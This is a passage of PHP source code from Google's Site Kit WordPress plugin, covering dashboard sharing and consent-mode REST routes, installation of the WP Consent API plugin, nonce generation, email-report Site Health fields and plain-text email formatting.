$this->modules->get_shareable_modules_owners(); $changed_module_owners = array_filter( $new_module_owners, function ( $new_owner_id, $module_slug ) use ( $original_module_owners ) { return $new_owner_id !== $original_module_owners[ $module_slug ]; }, ARRAY_FILTER_USE_BOTH ); return new WP_REST_Response( array( 'settings' => $sharing_settings->get(), // Cast array to an object so JSON encoded response is always an object, // even when the array is empty. 'newOwnerIDs' => (object) $changed_module_owners, ) ); }, 'permission_callback' => $can_manage_options, 'args' => array( 'data' => array( 'type' => 'object', 'required' => true, ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => function () { $delete_settings = $this->modules->delete_dashboard_sharing_settings(); return new WP_REST_Response( $delete_settings ); }, 'permission_callback' => $can_manage_options, ), ) ), ); } } <?php /** * Class Google\Site_Kit\Core\Consent_Mode\Consent_Mode_Settings * * @package Google\Site_Kit\Core\Consent_Mode * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Consent_Mode; use Google\Site_Kit\Core\Storage\Setting; /** * Class to store user consent mode settings. * * @since 1.122.0 * @access private * @ignore */ class Consent_Mode_Settings extends Setting { /** * The user option name for this setting. */ const OPTION = 'googlesitekit_consent_mode'; /** * Gets the expected value type. * * @since 1.122.0 * * @return string The type name. */ protected function get_type() { return 'object'; } /** * Gets the default value. * * @since 1.122.0 * * @return array The default value. */ protected function get_default() { return array( 'enabled' => false, 'regions' => Regions::get_regions(), ); } /** * Gets the callback for sanitizing the setting's value before saving. * * @since 1.122.0 * * @return callable Sanitize callback. */ protected function get_sanitize_callback() { return function ( $value ) { $new_value = $this->get(); if ( isset( $value['enabled'] ) ) { $new_value['enabled'] = (bool) $value['enabled']; } if ( ! empty( $value['regions'] ) && is_array( $value['regions'] ) ) { $region_codes = array_reduce( $value['regions'], static function ( $regions, $region_code ) { $region_code = strtoupper( $region_code ); // Match ISO 3166-2 (`AB` or `CD-EF`). if ( ! preg_match( '#^[A-Z]{2}(-[A-Z]{2})?$#', $region_code ) ) { return $regions; } // Store as keys to remove duplicates. $regions[ $region_code ] = true; return $regions; }, array() ); $new_value['regions'] = array_keys( $region_codes ); } return $new_value; }; } /** * Accessor for the `enabled` setting. * * @since 1.122.0 * * @return bool TRUE if consent mode is enabled, otherwise FALSE. */ public function is_consent_mode_enabled() { return $this->get()['enabled']; } /** * Accessor for the `regions` setting. * * @since 1.122.0 * * @return array<string> Array of ISO 3166-2 region codes. */ public function get_regions() { return $this->get()['regions']; } } <?php /** * Class Google\Site_Kit\Core\Consent_Mode\Consent_Mode * * @package Google\Site_Kit\Core\Consent_Mode * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Consent_Mode; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Assets\Script; use Google\Site_Kit\Core\Modules\Modules; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Tracking\Feature_Metrics_Trait; use Google\Site_Kit\Core\Tracking\Provides_Feature_Metrics; use Google\Site_Kit\Core\Util\BC_Functions; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Plugin_Upgrader; use Plugin_Installer_Skin; /** * Class for handling consent mode. * * @since 1.122.0 * @access private * @ignore */ class Consent_Mode implements Provides_Feature_Metrics { use Method_Proxy_Trait; use Feature_Metrics_Trait; /** * Context instance. * * @since 1.132.0 * @var Context */ protected $context; /** * Consent_Mode_Settings instance. * * @since 1.122.0 * @var Consent_Mode_Settings */ protected $consent_mode_settings; /** * REST_Consent_Mode_Controller instance. * * @since 1.122.0 * @var REST_Consent_Mode_Controller */ protected $rest_controller; /** * Constructor. * * @since 1.122.0 * @since 1.142.0 Introduced Modules instance as an argument. * * @param Context $context Plugin context. * @param Modules $modules Modules instance. * @param Options $options Optional. Option API instance. Default is a new instance. */ public function __construct( Context $context, Modules $modules, ?Options $options = null ) { $this->context = $context; $options = $options ?: new Options( $context ); $this->consent_mode_settings = new Consent_Mode_Settings( $options ); $this->rest_controller = new REST_Consent_Mode_Controller( $modules, $this->consent_mode_settings, $options ); } /** * Registers functionality through WordPress hooks. * * @since 1.122.0 */ public function register() { $this->consent_mode_settings->register(); $this->rest_controller->register(); $this->register_feature_metrics(); // Declare that the plugin is compatible with the WP Consent API. $plugin = GOOGLESITEKIT_PLUGIN_BASENAME; add_filter( "wp_consent_api_registered_{$plugin}", '__return_true' ); $consent_mode_enabled = $this->consent_mode_settings->is_consent_mode_enabled(); if ( $consent_mode_enabled ) { // The `wp_head` action is used to ensure the snippets are printed in the head on the front-end only, not admin pages. add_action( 'wp_head', $this->get_method_proxy( 'render_gtag_consent_data_layer_snippet' ), 1 // Set priority to 1 to ensure the snippet is printed with top priority in the head. ); add_action( 'wp_enqueue_scripts', fn () => $this->register_and_enqueue_script() ); } add_filter( 'googlesitekit_consent_mode_status', function () use ( $consent_mode_enabled ) { return $consent_mode_enabled ? 'enabled' : 'disabled'; } ); add_filter( 'googlesitekit_inline_base_data', $this->get_method_proxy( 'inline_js_base_data' ) ); add_action( 'wp_ajax_install_activate_wp_consent_api', array( $this, 'install_activate_wp_consent_api' ) ); } /** * AJAX callback that installs and activates the WP Consent API plugin. * * This function utilizes an AJAX approach instead of the standardized REST approach * due to the requirement of the Plugin_Upgrader class, which relies on functions * from `admin.php` among others. These functions are properly loaded during the * AJAX callback, ensuring the installation and activation processes can execute correctly. * * @since 1.132.0 */ public function install_activate_wp_consent_api() { check_ajax_referer( 'updates' ); $slug = 'wp-consent-api'; $plugin = "$slug/$slug.php"; if ( ! current_user_can( 'activate_plugin', $plugin ) ) { wp_send_json( array( 'error' => __( 'You do not have permission to activate plugins on this site.', 'google-site-kit' ) ) ); } /** WordPress Administration Bootstrap */ require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; // For Plugin_Upgrader and Plugin_Installer_Skin. require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; // For plugins_api. $api = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'sections' => false, ), ) ); if ( is_wp_error( $api ) ) { wp_send_json( array( 'error' => $api->get_error_message() ) ); } $title = ''; $nonce = 'install-plugin_' . $plugin; $url = 'update.php?action=install-plugin&plugin=' . rawurlencode( $plugin ); $upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) ); $install_plugin = $upgrader->install( $api->download_link ); if ( is_wp_error( $install_plugin ) ) { wp_send_json( array( 'error' => $install_plugin->get_error_message() ) ); } $activated = activate_plugin( $plugin ); if ( is_wp_error( $activated ) ) { wp_send_json( array( 'error' => $activated->get_error_message() ) ); } wp_send_json( array( 'success' => true ) ); } /** * Registers and Enqueues the consent mode script. * * @since 1.132.0 */ protected function register_and_enqueue_script() { $consent_mode_script = new Script( 'googlesitekit-consent-mode', array( 'src' => $this->context->url( 'dist/assets/js/googlesitekit-consent-mode.js' ), ) ); $consent_mode_script->register( $this->context ); $consent_mode_script->enqueue(); } /** * Prints the gtag consent snippet. * * @since 1.122.0 * @since 1.132.0 Refactored core script to external js file transpiled with webpack. */ protected function render_gtag_consent_data_layer_snippet() { /** * Filters the consent mode defaults. * * Allows these defaults to be modified, thus allowing users complete control over the consent mode parameters. * * @since 1.126.0 * * @param array $consent_mode_defaults Default values for consent mode. */ $consent_defaults = apply_filters( 'googlesitekit_consent_defaults', array( 'ad_personalization' => 'denied', 'ad_storage' => 'denied', 'ad_user_data' => 'denied', 'analytics_storage' => 'denied', 'functionality_storage' => 'denied', 'security_storage' => 'denied', 'personalization_storage' => 'denied', // TODO: The value for `region` should be retrieved from $this->consent_mode_settings->get_regions(), // but we'll need to migrate/clean up the incorrect values that were set from the initial release. // See https://github.com/google/site-kit-wp/issues/8444. 'region' => Regions::get_regions(), 'wait_for_update' => 500, // Allow 500ms for Consent Management Platforms (CMPs) to update the consent status. ) ); /** * Filters the consent category mapping. * * @since 1.124.0 * * @param array $consent_category_map Default consent category mapping. */ $consent_category_map = apply_filters( 'googlesitekit_consent_category_map', array( 'statistics' => array( 'analytics_storage' ), 'marketing' => array( 'ad_storage', 'ad_user_data', 'ad_personalization' ), 'functional' => array( 'functionality_storage', 'security_storage' ), 'preferences' => array( 'personalization_storage' ), ) ); // The core consent mode code is in assets/js/consent-mode/consent-mode.js. // Only code that passes data from PHP to JS should be in this file. printf( "<!-- %s -->\n", esc_html__( 'Google tag (gtag.js) consent mode dataLayer added by Site Kit', 'google-site-kit' ) ); BC_Functions::wp_print_inline_script_tag( join( "\n", array( 'window.dataLayer = window.dataLayer || [];function gtag(){dataLayer.push(arguments);}', sprintf( "gtag('consent', 'default', %s);", wp_json_encode( $consent_defaults ) ), sprintf( 'window._googlesitekitConsentCategoryMap = %s;', wp_json_encode( $consent_category_map ) ), sprintf( 'window._googlesitekitConsents = %s;', wp_json_encode( $consent_defaults ) ), ) ), array( 'id' => 'google_gtagjs-js-consent-mode-data-layer' ) ); printf( "<!-- %s -->\n", esc_html__( 'End Google tag (gtag.js) consent mode dataLayer added by Site Kit', 'google-site-kit' ) ); } /** * Extends base data with a static list of consent mode regions. * * @since 1.128.0 * * @param array $data Inline base data. * @return array Filtered $data. */ protected function inline_js_base_data( $data ) { $data['consentModeRegions'] = Regions::get_regions(); return $data; } /** * Gets an array of internal feature metrics. * * @since 1.163.0 * * @return array */ public function get_feature_metrics() { $wp_consent_api_status = 'none'; if ( function_exists( 'wp_consent_api' ) ) { $wp_consent_api_status = 'active'; } elseif ( $this->rest_controller->get_consent_api_plugin_file() ) { $wp_consent_api_status = 'installed'; } return array( 'consent_mode_enabled' => $this->consent_mode_settings->is_consent_mode_enabled(), 'wp_consent_api' => $wp_consent_api_status, ); } } <?php /** * Class Google\Site_Kit\Core\Consent_Mode\REST_Consent_Mode_Controller * * @package Google\Site_Kit\Core\Consent_Mode * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Consent_Mode; use Google\Site_Kit\Core\Modules\Modules; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\REST_API\REST_Route; use Google\Site_Kit\Core\REST_API\REST_Routes; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Util\Plugin_Status; use Google\Site_Kit\Modules\Ads; use Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Modules\Analytics_4\Settings as Analytics_Settings; use Google\Site_Kit\Modules\Tag_Manager\Settings as Tag_Manager_Settings; use Google\Site_Kit\Modules\Tag_Manager; use WP_REST_Request; use WP_REST_Response; use WP_REST_Server; use WP_Error; /** * Class for handling consent mode. * * @since 1.122.0 * @access private * @ignore */ class REST_Consent_Mode_Controller { /** * Consent_Mode_Settings instance. * * @since 1.122.0 * @var Consent_Mode_Settings */ private $consent_mode_settings; /** * Modules instance. * * @since 1.142.0 * @var Modules */ protected $modules; /** * Options instance. * * @since 1.142.0 * @var Options */ protected $options; /** * Constructor. * * @since 1.122.0 * @since 1.142.0 Introduces Modules as an argument. * * @param Modules $modules Modules instance. * @param Consent_Mode_Settings $consent_mode_settings Consent_Mode_Settings instance. * @param Options $options Optional. Option API instance. Default is a new instance. */ public function __construct( Modules $modules, Consent_Mode_Settings $consent_mode_settings, Options $options ) { $this->modules = $modules; $this->consent_mode_settings = $consent_mode_settings; $this->options = $options; } /** * Registers functionality through WordPress hooks. * * @since 1.122.0 */ public function register() { add_filter( 'googlesitekit_rest_routes', function ( $routes ) { return array_merge( $routes, $this->get_rest_routes() ); } ); add_filter( 'googlesitekit_apifetch_preload_paths', function ( $paths ) { return array_merge( $paths, array( '/' . REST_Routes::REST_ROOT . '/core/site/data/consent-mode', ) ); } ); add_filter( 'googlesitekit_apifetch_preload_paths', function ( $paths ) { return array_merge( $paths, array( '/' . REST_Routes::REST_ROOT . '/core/site/data/consent-api-info', ) ); } ); } /** * Gets REST route instances. * * @since 1.122.0 * * @return REST_Route[] List of REST_Route objects. */ protected function get_rest_routes() { $can_manage_options = function () { return current_user_can( Permissions::MANAGE_OPTIONS ); }; $can_update_plugins = function () { return current_user_can( Permissions::UPDATE_PLUGINS ); }; return array( new REST_Route( 'core/site/data/consent-mode', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function () { return new WP_REST_Response( $this->consent_mode_settings->get() ); }, 'permission_callback' => $can_manage_options, ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => function ( WP_REST_Request $request ) { $this->consent_mode_settings->set( $request['data']['settings'] ); return new WP_REST_Response( $this->consent_mode_settings->get() ); }, 'permission_callback' => $can_manage_options, 'args' => array( 'data' => array( 'type' => 'object', 'required' => true, 'properties' => array( 'settings' => array( 'type' => 'object', 'required' => true, 'minProperties' => 1, 'additionalProperties' => false, 'properties' => array( 'enabled' => array( 'type' => 'boolean', ), 'regions' => array( 'type' => 'array', 'items' => array( 'type' => 'string', ), ), ), ), ), ), ), ), ) ), new REST_Route( 'core/site/data/consent-api-info', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function () { // Here we intentionally use a non-plugin-specific detection strategy. $is_active = function_exists( 'wp_set_consent' ); $response = array( 'hasConsentAPI' => $is_active, ); // Alternate wp_nonce_url without esc_html breaking query parameters. $nonce_url = function ( $action_url, $action ) { return add_query_arg( '_wpnonce', wp_create_nonce( $action ), $action_url ); }; if ( ! $is_active ) { $installed_plugin = $this->get_consent_api_plugin_file(); $consent_plugin = array( 'installed' => (bool) $installed_plugin, 'installURL' => false, 'activateURL' => false, ); if ( ! $installed_plugin && current_user_can( 'install_plugins' ) ) { $consent_plugin['installURL'] = $nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=wp-consent-api' ), 'install-plugin_wp-consent-api' ); } if ( $installed_plugin && current_user_can( 'activate_plugin', $installed_plugin ) ) { $consent_plugin['activateURL'] = $nonce_url( self_admin_url( 'plugins.php?action=activate&plugin=' . $installed_plugin ), 'activate-plugin_' . $installed_plugin ); } $response['wpConsentPlugin'] = $consent_plugin; } return new WP_REST_Response( $response ); }, 'permission_callback' => $can_manage_options, ), ) ), new REST_Route( 'core/site/data/consent-api-activate', array( array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => function () { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $slug = 'wp-consent-api'; $plugin = "$slug/$slug.php"; $activated = activate_plugin( $plugin ); if ( is_wp_error( $activated ) ) { return new WP_Error( 'invalid_module_slug', $activated->get_error_message() ); } return new WP_REST_Response( array( 'success' => true ) ); }, 'permission_callback' => $can_update_plugins, ), ), ), new REST_Route( 'core/site/data/ads-measurement-status', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function () { $checks = apply_filters( 'googlesitekit_ads_measurement_connection_checks', array() ); if ( ! is_array( $checks ) ) { return new WP_REST_Response( array( 'connected' => false ) ); } foreach ( $checks as $check ) { if ( ! is_callable( $check ) ) { continue; } if ( $check() ) { return new WP_REST_Response( array( 'connected' => true ) ); } } return new WP_REST_Response( array( 'connected' => false ) ); }, 'permission_callback' => $can_manage_options, ), ), ), ); } /** * Gets the plugin file of the installed WP Consent API if found. * * @since 1.148.0 * * @return false|string */ public function get_consent_api_plugin_file() { // Check the default location first. if ( Plugin_Status::is_plugin_installed( 'wp-consent-api/wp-consent-api.php' ) ) { return 'wp-consent-api/wp-consent-api.php'; } // Here we make an extra effort to attempt to detect the plugin if installed in a non-standard location. return Plugin_Status::is_plugin_installed( fn ( $installed_plugin ) => 'https://wordpress.org/plugins/wp-consent-api' === $installed_plugin['PluginURI'] ); } } <?php /** * Class Google\Site_Kit\Core\Consent_Mode\Regions * * @package Google\Site_Kit\Core\Consent_Mode * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Consent_Mode; use Google\Site_Kit\Core\Util\Feature_Flags; /** * Class containing consent mode Regions. * * @since 1.122.0 * @access private * @ignore */ class Regions { /** * List of countries that Google's EU user consent policy applies to, which are the * countries in the European Economic Area (EEA) plus the UK. */ const EU_USER_CONSENT_POLICY = array( 'AT', 'BE', 'BG', 'CH', 'CY', 'CZ', 'DE', 'DK', 'EE', 'ES', 'FI', 'FR', 'GB', 'GR', 'HR', 'HU', 'IE', 'IS', 'IT', 'LI', 'LT', 'LU', 'LV', 'MT', 'NL', 'NO', 'PL', 'PT', 'RO', 'SE', 'SI', 'SK', ); /** * Returns the list of regions that Google's EU user consent policy applies to. * * @since 1.128.0 * * @return array<string> List of regions. */ public static function get_regions() { return self::EU_USER_CONSENT_POLICY; } } <?php /** * Class Google\Site_Kit\Core\Nonces\Nonces * * @package Google\Site_Kit\Core\Nonces * @copyright 2022 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Nonces; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Authentication\Authentication; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\REST_API\REST_Route; use Google\Site_Kit\Core\REST_API\REST_Routes; use Google\Site_Kit\Core\Util\Feature_Flags; use WP_REST_Response; use WP_REST_Server; /** * Class managing nonces used by Site Kit. * * @since 1.93.0 * @access private * @ignore */ final class Nonces { /* * Nonce actions. * * @since 1.93.0 */ const NONCE_UPDATES = 'updates'; /** * Plugin context. * * @since 1.93.0 * @var Context */ private $context; /** * Array of nonce actions. * * @since 1.93.0 * @var array */ private $nonce_actions; /** * Constructor. * * Sets up the capability mappings. * * @since 1.93.0 * * @param Context $context Plugin context. */ public function __construct( Context $context ) { $this->context = $context; $this->nonce_actions = array( self::NONCE_UPDATES, ); } /** * Registers functionality through WordPress hooks. * * @since 1.93.0 */ public function register() { add_filter( 'googlesitekit_rest_routes', function ( $routes ) { return array_merge( $routes, $this->get_rest_routes() ); } ); add_filter( 'googlesitekit_apifetch_preload_paths', function ( $paths ) { return array_merge( $paths, array( '/' . REST_Routes::REST_ROOT . '/core/user/data/nonces', ) ); } ); } /** * Generate nonces for the current user. * * @since 1.93.0 * * @return array List of nonces. */ public function get_nonces() { $nonces = array(); foreach ( $this->nonce_actions as $nonce_action ) { $nonces[ $nonce_action ] = wp_create_nonce( $nonce_action ); } return $nonces; } /** * Gets related REST routes. * * @since 1.93.0 * * @return array List of REST_Route objects. */ private function get_rest_routes() { $can_access_nonces = function () { return is_user_logged_in(); }; return array( new REST_Route( 'core/user/data/nonces', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function () { return new WP_REST_Response( $this->get_nonces() ); }, 'permission_callback' => $can_access_nonces, ), ) ), ); } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Email_Reporting_Site_Health * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\User\Email_Reporting_Settings as User_Email_Reporting_Settings; /** * Class responsible for exposing Email Reporting data to Site Health. * * @since 1.166.0 * @access private * @ignore */ class Email_Reporting_Site_Health { /** * Email reporting settings instance. * * @since 1.166.0 * @var Email_Reporting_Settings */ private $settings; /** * User options instance. * * @since 1.166.0 * @var User_Options */ private $user_options; /** * Constructor. * * @since 1.166.0 * * @param Email_Reporting_Settings $settings Email reporting settings. * @param User_Options $user_options User options instance. */ public function __construct( Email_Reporting_Settings $settings, User_Options $user_options ) { $this->settings = $settings; $this->user_options = $user_options; } /** * Gets Email Reports debug fields for Site Health. * * @since 1.166.0 * * @return array */ public function get_debug_fields() { $not_available = __( 'Not available', 'google-site-kit' ); $fields = array( 'email_reports_status' => array( 'label' => __( 'Email Reports status', 'google-site-kit' ), 'value' => $not_available, 'debug' => 'not-available', ), 'email_reports_subscribers' => array( 'label' => __( 'Email Reports subscribers', 'google-site-kit' ), 'value' => $not_available, 'debug' => 'not-available', ), 'email_reports_deliverability' => array( 'label' => __( 'Email Reports deliverability', 'google-site-kit' ), 'value' => $not_available, 'debug' => 'not-available', ), 'email_reports_last_sent' => array( 'label' => __( 'Email Reports last sent', 'google-site-kit' ), 'value' => $not_available, 'debug' => 'not-available', ), ); $is_enabled = $this->settings->is_email_reporting_enabled(); $fields['email_reports_status']['value'] = $is_enabled ? __( 'Enabled', 'google-site-kit' ) : __( 'Disabled', 'google-site-kit' ); $fields['email_reports_status']['debug'] = $is_enabled ? 'enabled' : 'disabled'; if ( ! $is_enabled ) { return $fields; } $subscriber_count = $this->get_subscriber_count(); $fields['email_reports_subscribers']['value'] = $subscriber_count; $fields['email_reports_subscribers']['debug'] = $subscriber_count; if ( ! post_type_exists( Email_Log::POST_TYPE ) ) { return $fields; } $batch_post_ids = $this->get_latest_batch_post_ids(); if ( empty( $batch_post_ids ) ) { return $fields; } $fields['email_reports_deliverability'] = $this->build_deliverability_field( $batch_post_ids ); $fields['email_reports_last_sent'] = $this->build_last_sent_field( $batch_post_ids ); return $fields; } /** * Gets the number of subscribed users. * * @since 1.166.0 * * @return int */ private function get_subscriber_count() { $meta_key = $this->user_options->get_meta_key( User_Email_Reporting_Settings::OPTION ); $user_query = new \WP_User_Query( array( 'fields' => 'ids', 'meta_key' => $meta_key, // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key 'compare' => 'EXISTS', ) ); $subscribers = 0; foreach ( $user_query->get_results() as $user_id ) { $settings = get_user_meta( $user_id, $meta_key, true ); if ( is_array( $settings ) && ! empty( $settings['subscribed'] ) ) { ++$subscribers; } } return $subscribers; } /** * Gets the post IDs for the latest email log batch. * * @since 1.166.0 * * @return array<int> */ private function get_latest_batch_post_ids() { $latest_post = new \WP_Query( array( 'post_type' => Email_Log::POST_TYPE, 'post_status' => $this->get_relevant_log_statuses(), 'posts_per_page' => 1, 'fields' => 'ids', 'orderby' => 'date', 'order' => 'DESC', 'no_found_rows' => true, ) ); if ( empty( $latest_post->posts ) ) { return array(); } $latest_post_id = (int) $latest_post->posts[0]; $batch_id = get_post_meta( $latest_post_id, Email_Log::META_BATCH_ID, true ); if ( empty( $batch_id ) ) { return array(); } $batch_query = new \WP_Query( array( 'post_type' => Email_Log::POST_TYPE, 'post_status' => $this->get_relevant_log_statuses(), // phpcs:ignore WordPress.WP.PostsPerPage.posts_per_page_posts_per_page 'posts_per_page' => 10000, 'fields' => 'ids', 'orderby' => 'date', 'order' => 'DESC', 'no_found_rows' => true, // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query 'meta_query' => array( array( 'key' => Email_Log::META_BATCH_ID, 'value' => $batch_id, ), ), ) ); return array_map( 'intval', $batch_query->posts ); } /** * Builds the deliverability field details. * * @since 1.166.0 * * @param array<int> $post_ids Post IDs belonging to the latest batch. * @return array */ private function build_deliverability_field( array $post_ids ) { $statuses = array(); foreach ( $post_ids as $post_id ) { $status = get_post_status( $post_id ); $statuses[] = is_string( $status ) ? $status : ''; } $statuses = array_filter( $statuses ); if ( empty( $statuses ) ) { $value = __( 'Not available', 'google-site-kit' ); return array( 'value' => $value, 'debug' => 'not-available', ); } $all_sent = ! array_diff( $statuses, array( Email_Log::STATUS_SENT ) ); $all_failed = ! array_diff( $statuses, array( Email_Log::STATUS_FAILED ) ); if ( $all_sent ) { return array( 'value' => __( '✅ all emails in last run sent', 'google-site-kit' ), 'debug' => 'all-sent', ); } if ( $all_failed ) { return array( 'value' => __( '❌ all failed in last run', 'google-site-kit' ), 'debug' => 'all-failed', ); } return array( 'value' => __( '⚠️ some failed in last run', 'google-site-kit' ), 'debug' => 'partial-failure', ); } /** * Builds the last sent field details. * * @since 1.166.0 * * @param array<int> $post_ids Post IDs belonging to the latest batch. * @return array */ private function build_last_sent_field( array $post_ids ) { $latest_timestamp = 0; foreach ( $post_ids as $post_id ) { $status = get_post_status( $post_id ); if ( Email_Log::STATUS_SENT !== $status ) { continue; } $post_date = get_post_field( 'post_date_gmt', $post_id ); if ( ! $post_date ) { continue; } $timestamp = (int) mysql2date( 'U', $post_date, false ); if ( $timestamp > $latest_timestamp ) { $latest_timestamp = $timestamp; } } if ( ! $latest_timestamp ) { $value = __( 'Never', 'google-site-kit' ); return array( 'value' => $value, 'debug' => 'never', ); } $iso = gmdate( 'c', $latest_timestamp ); return array( 'value' => $iso, 'debug' => $iso, ); } /** * Gets the list of email log statuses considered for Site Health summaries. * * @since 1.166.0 * * @return string[] */ private function get_relevant_log_statuses() { return array( Email_Log::STATUS_SENT, Email_Log::STATUS_FAILED, Email_Log::STATUS_SCHEDULED, ); } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Plain_Text_Formatter * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; /** * Static helper class for formatting email content as plain text. * * @since 1.170.0 */ class Plain_Text_Formatter { /** * Formats the email header. * * @since 1.170.0 * * @param string $site_domain The site domain. * @param string $date_label The date range label. * @return string Formatted header text. */ public static function format_header( $site_domain, $date_label ) { $lines = array( __( 'Site Kit by Google', 'google-site-kit' ), __( 'Your performance at a glance', 'google-site-kit' ), $site_domain, $date_label, '', str_repeat( '-', 50 ), '', ); return implode( "\n", $lines ); } /** * Formats a section based on its template type. * * @since 1.170.0 * * @param array $section Section configuration including title, section_template, section_parts. * @return string Formatted section text. */ public static function format_section( $section ) { if ( empty( $section['section_parts'] ) ) { return ''; } $template = $section['section_template'] ?? ''; switch ( $template ) { case 'section-conversions': return self::format_conversions_section( $section ); case 'section-metrics': return self::format_metrics_section( $section ); case 'section-page-metrics': return self::format_page_metrics_section( $section ); default: return ''; } } /** * Formats a section heading with underline. * * @since 1.170.0 * * @param string $title The section title. * @return string Formatted heading text. */ public static function format_section_heading( $title ) { $underline = str_repeat( '=', mb_strlen( $title ) ); return $title . "\n" . $underline . "\n\n"; } /** * Formats a single metric row. * * @since 1.170.0 * * @param string $label The metric label. * @param string $value The metric value. * @param float|null $change The percentage change value, or null. * @return string Formatted metric text. */ public static function format_metric( $label, $value, $change ) { $change_text = self::format_change( $change ); if ( '' !== $change_text ) { return sprintf( '%s: %s %s', $label, $value, $change_text ); } return sprintf( '%s: %s', $label, $value ); } /** * Formats a page/keyword row with optional URL. * * @since 1.170.0 * * @param string $label The item label. * @param string $value The metric value. * @param float|null $change The percentage change value, or null. * @param string $url Optional URL for the item. * @return string Formatted row text. */ public static function format_page_row( $label, $value, $change, $url = '' ) { $change_text = self::format_change( $change ); $line = sprintf( ' • %s: %s', $label, $value ); if ( '' !== $change_text ) { $line .= ' ' . $change_text; } if ( ! empty( $url ) ) { $line .= "\n " . $url; } return $line; } /** * Formats a link with label and URL. * * @since 1.170.0 * * @param string $label The link label. * @param string $url The URL. * @return string Formatted link text. */ public static function format_link( $label, $url ) { return sprintf( '%s: %s', $label, $url ); } /** * Formats the email footer with CTA and links. * * @since 1.170.0 * * @param array $cta Primary CTA configuration with 'url' and 'label'. * @param array $footer Footer configuration with 'copy', 'unsubscribe_url', and 'links'. * @return string Formatted footer text. */ public static function format_footer( $cta, $footer ) { $lines = array( str_repeat( '-', 50 ), '', ); // Primary CTA. if ( ! empty( $cta['url'] ) ) { $label = $cta['label'] ?? __( 'View dashboard', 'google-site-kit' ); $lines[] = self::format_link( $label, $cta['url'] ); $lines[] = ''; } // Footer copy with unsubscribe link. if ( ! empty( $footer['copy'] ) ) { $copy = $footer['copy']; if ( ! empty( $footer['unsubscribe_url'] ) ) { $copy .= ' ' . sprintf( /* translators: %s: Unsubscribe URL */ __( 'Unsubscribe here: %s', 'google-site-kit' ), $footer['unsubscribe_url'] ); } $lines[] = $copy; $lines[] = ''; } // Footer links. if ( ! empty( $footer['links'] ) && is_array( $footer['links'] ) ) { foreach ( $footer['links'] as $link ) { if ( ! empty( $link['label'] ) && ! empty( $link['url'] ) ) { $lines[] = self::format_link( $link['label'], $link['url'] ); } } } return implode( "\n", $lines ); } /** * Formats a change value with sign prefix. * * @since 1.170.0 * * @param float|null $change The percentage change value, or null. * @return string Formatted change text (e.g., "(+12%)" or "(-5%)"), or empty string if null. */ public static function format_change( $change ) { if ( null === $change ) { return ''; } $prefix = $change > 0 ? '+' : ''; $display_value = $prefix . round( $change, 1 ) . '%'; return '(' . $display_value . ')'; } /** * Formats the conversions section. * * @since 1.170.0 * * @param array $section Section configuration. * @return string Formatted section text. */ protected static function format_conversions_section( $section ) { $output = self::format_section_heading( $section['title'] ); $section_parts = $section['section_parts']; // Total conversion events (rendered first/separately). if ( ! empty( $section_parts['total_conversion_events']['data'] ) ) { $data = $section_parts['total_conversion_events']['data']; $output .= self::format_metric( $data['label'] ?? __( 'Total conversions', 'google-site-kit' ), $data['value'] ?? '', $data['change'] ?? null ); $output .= "\n"; if ( ! empty( $data['change_context'] ) ) { $output .= $data['change_context'] . "\n"; } $output .= "\n"; } // Other conversion metrics. foreach ( $section_parts as $part_key => $part_config ) { if ( 'total_conversion_events' === $part_key || empty( $part_config['data'] ) ) { continue; } $data = $part_config['data']; $output .= self::format_conversion_metric_part( $data ); } return $output . "\n"; } /** * Formats a conversion metric part (e.g., purchases, products added to cart). * * @since 1.170.0 * * @param array $data Conversion metric data. * @return string Formatted metric part text. */ protected static function format_conversion_metric_part( $data ) { $lines = array(); // Metric label. if ( ! empty( $data['label'] ) ) { $lines[] = $data['label']; } // Event count with change. if ( ! empty( $data['event_name'] ) ) { 